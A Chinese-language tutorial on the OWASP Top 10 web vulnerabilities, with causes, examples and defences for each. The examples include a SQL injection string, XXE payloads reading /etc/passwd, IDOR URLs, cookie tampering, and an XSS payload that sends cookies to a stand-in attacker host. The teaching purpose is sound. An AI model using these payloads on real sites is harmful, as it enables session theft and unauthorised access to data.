OWASP简介

开放式Web应用程序安全项目(OWASP，Open Web Application Security Project)是一在线社区，它提供有关计算机和Web应用程序安全领域的文章，方法论，文档，工具和技术。其目的是帮助各企业组织开发、购买和维护可信任的应用程序。

OWASP组织列出了公认的前10个最有威胁性的Web应用安全漏洞，称为OWASP Top10

注入

将不受信任的数据作为命令或查询的一部分发送到解析器时，会产生诸如SQL注入、NoSQL注入、OS 注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。

注入漏洞十分的普遍，几乎任何数据源都能称为注入载体，尤其是在遗留代码中（“粑粑山”）。在OWASP Top10的排名中排在第一的位置可想而知其危害是十分巨大的。注入可能导致数据丢失、破坏或泄露给无授权方。注入甚至能导致主机完全被接管。

漏洞原理

用户提供的数据没有经过应用程序的验证、过滤或净化。
动态查询语句或非参数化的调用，在没有上下文感知转义的情况下，被用于解释器。
在ORM搜索参数中使用了恶意数据，这样搜索就获得包含敏感或未授权的数据。
恶意数据直接被使用或连接，诸如SQL语句或命令在动态查询语句、命令或存储过程中包含结构和恶意数据。

实例

未对用户输入进行过滤造成注入

$id = GET_['id'];     
//传入用户输入参数id
$query = "select * from accounts where user_id = '.$id.'";
//将id直接拼接到sql语句中进行查询

此时攻击者只需要在浏览器中将 ‘ id ‘ 参数的值修改为 or ‘ 1 ‘ = ‘ 1

即 “http:/example/?id=’ or ‘1’ = ‘ 1

这样查询语句的意义就变成了从accounts表中返回所有的记录。更危险的攻击可能导致数据被篡改甚至是存储过程被调用。

防御措施

防止注入漏洞需要将数据与命令语句、查询语句分隔开来。

使用安全的API，完全避免使用解释器，或提供参数化界面的接口。
使用白名单或者进行恰当规范化的输入同样会有助于防止注入攻击，但这不是一个完整的防御，因为许多应用程序在输入中需要特殊字符，例如文本区域。
转义所有特殊字符。
在查询中使用LIMIT语句或其他SQL控件，以防止在SQL注入时大量地泄露数据。

失效的身份认证

通常通过错误使用应用程序的身份认证和会话管理功能，攻击者能够破译密码、密钥或会话令牌，或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。

在应用中负责认证以及会话管理的代码存在设计缺陷，使得攻击者可以使用泄露的密码、口令、令牌或未过期的密钥进行暴力破解。

并且根据应用程序领域的不同，可能会导致洗钱、电信诈骗以及用户身份盗窃、敏感信息盗窃。

漏洞原理

允许暴力破解或其他自动攻击。
允许默认的、弱的或大众的密码，例如“Password1”或 “admin/admin”。
使用弱的或失效的验证凭证，忘记密码等功能。
使用明文、加密或弱散列密码
缺少或使用无效的多因素身份验证。
在URL中暴露会话ID。
在成功登录后不会更新会话ID。
未及时销毁会话ID。当用户不活跃的时候，用户会话或认证令牌（特别是单点登录（SSO）令牌）没有及时注销或失效。

实例

用户登陆了XX网站后没有登出，而是选择了关闭浏览器，如网站存在缺陷，会话没有及时销毁，只要使用相同的浏览器无需登陆即可访问XX站点。
XX网站登陆页面未设置验证码、登陆失败次数限制，hacker即可使用暴露破解等对该站点进行攻击。

防御措施

使用多因素身份验证，以防止自动、凭证填充、暴力破解和被盗凭据再利用攻击。
不要使用默认密码。
检查弱密码
设置密码长度以及复杂度
确保注册、凭据恢复和API的强度用以抵御账户枚举攻击。
限制登陆失败的次数。记录所有失败信息并在凭据填充、暴力破解或其他攻击被检测到时及时报警。
使用服务器端安全的内置会话管理器，在登录后生成高度复杂的新随机会话ID。会话ID不能在URL中，并且及时销毁。

敏感数据泄露

许多Web应用程序和API都无法正确保护敏感数据，例如：财务数据、医疗数据。攻击者可以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃等行为。未加密的敏感数据容易受到破坏，因此，我们需要对敏感数据加密，这些数据包括：传输过程中的数据、存储的数据以及浏览器的交互数据。

攻击者不是直接攻击密码，而是在传输过程中或从客户端窃取密钥、发起中间人攻击或从服务器端窃取明文数据。

漏洞原理

数据进行明文传输。
数据进行存储时未进行加密。
使用弱密码算法。
是否使用默认加密密钥，生成或重复使用弱密钥。
是否强制加密敏感数据等安全措施。
用户终端未验证接收到的服务器凭据是否有效。

实例

某站点访问使用http协议进行访问，在一局域网当中，hacker开启中间人攻击，拦截用户发送的包可获取登陆的明文账号密码，偷取其中的cookie进行重放攻击、劫持会话等操作从而获取用户隐私。同时也可以直接修改传输包中的数据。

防御措施

对系统处理、存储或传输的数据分类，并根据分类进行访问控制。
根据数据的分类保护敏感数据。
对于没必要存放的、重要的敏感数据，应当尽快清除。
确保存储的所有敏感数据被加密。
确保使用了最新的、强大的标准算法或密码、参数、协议和密匙，并且合适的管理密钥。
确保传输过程中的数据被加密。
禁止缓存包含敏感数据的响应。
使用强算法、加盐的哈希算法存储密码。
单独验证配置的有效性。

XML外部实体（XXE）

许多较早的或配置错误的XML处理器评估了XML文件中的外部实体引用。攻击者可以利用外部实体窃取使用URI文件处理器的内部文件和共享文件、监听内部、扫描端口、执行远程代码和实施拒绝服务攻击。

XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定于的源语言。

漏洞原理

应用接受XML或XML上传，或向XML中插入了不可信数据。
XML解析器或基于SOAP的服务器启用了DTD(Document Type Definition,文档类型定义)。
SAML（安全断言标记语言，基于XML的身份验证）被用于实体处理。
使用1.2版本之前的SOAP，它可能易受XXE攻击，如果XLM被直接传给SOAP的话。
易受XXE攻击的服务器会受到billion laughs attack之类的DoS攻击。

实例

攻击者尝试读取服务端数据。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

攻击者通过恶意文件执行拒绝服务攻击

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>

防御措施

只要有可能，使用JSON之类的简单数据格式，不序列化敏感数据。
及时打补丁，升级XML解释器以及使用的库。使用Dependency-check之类的工具。升级SOAP到1.2及更高
在解析器中禁用XML外部实体和DTD。
使用服务端输入白名单，过滤，格式化来避免XML文件中的恶意数据。
验证XML和XSL文件上传功能中是否使用XSD（XML Schema Definition）及类似的验证功能。
使用工具帮助检测源码中的XXE。
使用虚拟补丁，API安全网关，WAF等手段。

失效的访问控制

未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据，例如：访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

使用户无法在其预期的权限之外执行操作。失败的访问控制通常导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。

漏洞原理

通过修改 URL、内部应用程序状态或 HTML 页面绕过访问控制检查，或简单地使用自定义的 API 攻击工具。
允许查看或编辑他人的帐户。
提权。以用户身份登录时充当管理员。
元数据操作，如重放或篡改 JWT 访问控制令牌，或作以提升权限的cookie 或隐藏字段。
CORS(Cross-Origin Resource Sharing)配置错误允许未授权的API访问。
在未通过身份验证的用户强制浏览的通过身份验证时才能看到的页面、或作为标准用户访问才具有相关权限的页面，API未进行访问控制。

实例

应用程序在访问帐户信息的 SQL调用中使用了未经验证的数据

1
2
3

pstmt.setString(1，request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
// http://example.com/app/accountInfo?acct=admin

攻击者只需修改浏览器中的“acct”参数即可发送他们想要的任何帐号信息。如果没有正确验证，攻击者可以访问任何用户的帐户。

攻击者浏览目标URL。实现越权浏览。

1 2	http://example.com/app/getappInfo http://example.com/app/admin_log

防御措施

除公有资源外，默认情况下拒绝访问。
使用一次性的访问控制机制，并在整个应用程序中不断重用它们，包括最小化CORS使用。
建立访问控制模型以强制执行所有权记录，而不是接受用户创建、读取、更新或删除的任何记录。
域访问控制对每个应用程序都是唯一的，但业务限制要求应由域模型强制执行。
禁用 Web服务器目录列表，并确保文件元数据（如：git）不存在于 Web的根目录中。
记录失败的访问控制，并及时向管理员告警（如：重复故障）。
对API和控制器的访问进行速率限制，以最大限度地降低自动化攻击工具的危害。
当用户注销后，服务器上的JWT token令牌应立即失效。

安全错误配置

安全配置错误是最常见的安全问题，这通常是由于不安全的默认配置、不完整的临时配置、开源云存储、错误的 HTTP 标头配置以及包含敏感信息的详细错误信息所造成的。因此，我们不仅需要对所有的操作系统、框架、库和应用程序进行安全配置。

通常，攻击者能够通过未修复的漏洞、访问默认账户、不再使用的页面、未受保护的文件和目录等来取得对系统的未授权的访问。

安全配置错误可以发生在一个应用程序堆栈的任何层面，包括网络服务、平台、Web服务器、应用服务器、数据库、框架、自定义代码和预安装的虚拟机、容器和存储。

漏洞原理

应用栈堆的任何部分都缺少适当的安全加固，或者云服务的权限配置错误。
应用程序启用或安装了不必要的功能（例如：不必要的端口、服务、网页、帐户或权限）。
默认帐户的密码仍然可用且没有更改。
错误处理机制向用户披露堆栈跟踪或其他大量错误信息。
对于更新的系统，禁用或不安全地配置最新的安全功能。
应用程序服务器、应用程序框架（如：Struts、Spring、 ASP.NET）、库文件、数据库等没有进行安全配置。
服务器不发送安全标头或指令，或者未对服务器进行安全配置。
软件未及时更新，易受攻击。

实例

目录列表在服务器端未被禁用。攻击者发现他们很容易就能列出目录列表。攻击者找到并下载所有已编译的Java类，他们通过反编译来查看代码。然后，攻击者在应用程序中找到一个严重的访问控制漏洞。
应用服务器配置允许将详细的错误信（如：堆栈跟踪信息）返回给用户，这可能会暴露敏感信息或潜在的漏洞，如：已知含有漏洞的组件的版本信息。

防御措施

可重复的加固程序，能够更快，更容易地部署环境。确保开发，QA,生产环境配置完全相同，但使用不同的凭据。这个程序应该自动化，以最小化安装安全环境地代价。
搭建最小化平台，该平台不包含任何不必要的功能、组件、文档和示例。
包管理工具中检查并更新安全配置
一个能在组件和用户间提供有效的分离和安全性的分段应用程序架构。
向客户端发送安全指令，如：安全标头。
使用自动化进程以验证所有环境中配置的有效性。

跨站脚本（XSS）

当应用程序的新网页中包含不受信任的、未经恰当验证或转义的数据时，或者使用可以创建HTML或 JavaScript 的浏览器 API 更新现有的网页时，就会出现 XSS 缺陷。XSS 让攻击者能够在受害者的浏览器中执行脚本，并劫持用户会话、破坏网站或将用户重定向到恶意站点。

跨站脚本（Cross-Site Scripting，简称为XSS）是一种针对网站应用程序的安全漏洞攻击技术，是代码注入的一种，它允许恶意用户将代码注入网页，其他用户在浏览网页时就会受到影响。

XSS攻击可以分为三种：

反射型
存储型
DOM型

漏洞原理

反射式XSS：

应用程序或API包括未经验证和未经转义的用户输入，作为HTML输出的一部分。一个成功的攻击可以让攻击者在受害者的浏览器中执行任意的HTML和JavaScript。通常，用户需要与指向攻击者控制页面的某些恶意链接进行交互，例如恶意漏洞网站，广告或类似内容。
存储式XSS：

应用或者API将未过滤的用户的输入存储下来了，并在后期在其他用户或者管理员的页面展示出来。存储型XSS一般被认为是高危或严重的风险。
DOM型XSS：

会动态的将攻击者可控的内容加入页面的JavaScript框架、单页面程序或API存在这种类型的漏洞。应该避免将攻击者可控的数据发送给不安全的JavaScript API。

典型的XSS攻击可导致盗取session、cookie、账户、绕过MFA、DIV替换、对用户浏览器的攻击（例如：恶意软件下载、键盘记录）等攻击。

实例

1 2	(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

攻击者在浏览器中修改“CC” 参数为如下值：

1
2
3

'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.

这个攻击导致受害者的会话ID被发送到攻击者的网站，使得攻击者能够劫持用户当前会话。

防御措施

使用自动转义XSS的框架，比如React JS。学习每种框架的XSS保护，并手动处理用例没有覆盖到的部分。
转义不可信的HTTP请求数据能够解决反射型和存储型XSS威胁。
在客户端修改浏览器文档时应用内容敏感的编码以抵御DOM XSS或使用相似的内容敏感转义技术。
启用CSP(Content Security Policy),这是一种对抗XSS的纵深防御弥补控制。

不安全的反序列化

不安全的反序列化会导致远程代码执行。即使反序列化缺陷不会导致远程代码执行，攻击者也可以利用它们来执行攻击，包括：重播攻击、注入攻击和特权升级攻击。

不安全的反序列化经常会导致远程代码执行。也能用于进行重放攻击，注入攻击，提权攻击。

漏洞原理

对象和数据结构相关攻击：当存在类能够在反序列化过程中或是之后改变应用表现，攻击者就能通过这个类修改应用逻辑，或实现任意远程代码执行。
典型数据篡改攻击：如访问控制相关攻击，当数据结构存在而内容又能被修改。

实例

1 2	a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

某站点使用如上图数据结构保存cookie，hacker可将cookie修改为以下形式。

1 2	a:4:{i:0;i:132;i:1;s:7:"Alice";i:2;s:4:"admin"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

如果Alice是管理员，攻击者就会得到管理员权限。

防御措施

唯一的安全模式是不接受来自不可信的参与者的序列化对象。如果不得不接受，使用以下策略：

对任何序列化对象进行完整性检测，比如数字签名以防止数据篡改或恶意对象。
在反序列化过程中强制严格的类型限制。
在低权限环境中独立运行反序列化代码
记录反序列化异常和错误，比如收到的类型并不是期望的类型。
限制或监管传入和传出来自反序列化的容器或服务器的网络链接
监管反序列化，当用户一直反序列化时及时报警。

使用含有已知漏洞的组件

组件（例如：库、框架和其他软件模块）拥有和应用程序相同的权限。如果应用程序中含有已知漏洞的组件被攻击者利用，可能会造成严重的数据丢失或服务器接管。同时，使用含有已知漏洞的组件的应用程序和API可能会破坏应用程序防御、造成各种攻击并产生严重影响。

这种安全漏洞普遍存在。基于组件开发的模式使得多数开发团队根本不了解其应用或API中使用的组件。

漏洞原理

管理员不知道使用的所有组件的版本，包括直接使用的和嵌套的。
软件易受攻击，不再支持，或是过时了。包括OS, web服务器，DBMS，APIs和所有组件，运行时环境，库。
没有周期性扫描漏洞，没有关注所使用组件的安全公告。
没有及时修复或升级平台，框架，依赖。
软件开发者没有测试升级，更新，补丁的兼容性。

实例

CVE-2017-5638，一个Struts2远程执行漏洞。可在服务端远程执行代码，并已造成巨大的影响。

防御措施

移除不使用的依赖、不需要的功能、组件、文件和文档。
持续的记录客户端和服务器端以及它们的依赖库的版本信息。持续监控如CVE 和 NVD等是否发布已使用组件的漏洞信息，可以使用软件分析工具来自动完成此功能。订阅关于使用组件安全漏洞的警告邮件。
仅从官方渠道安全的获取组件，并使用签名机制来降低组件被篡改或加入恶意漏洞的风险
关注那些不再维护或者不发布安全补丁的库和组件。如果不能打补丁，可以考虑部署虚拟补丁来监控、检测或保护。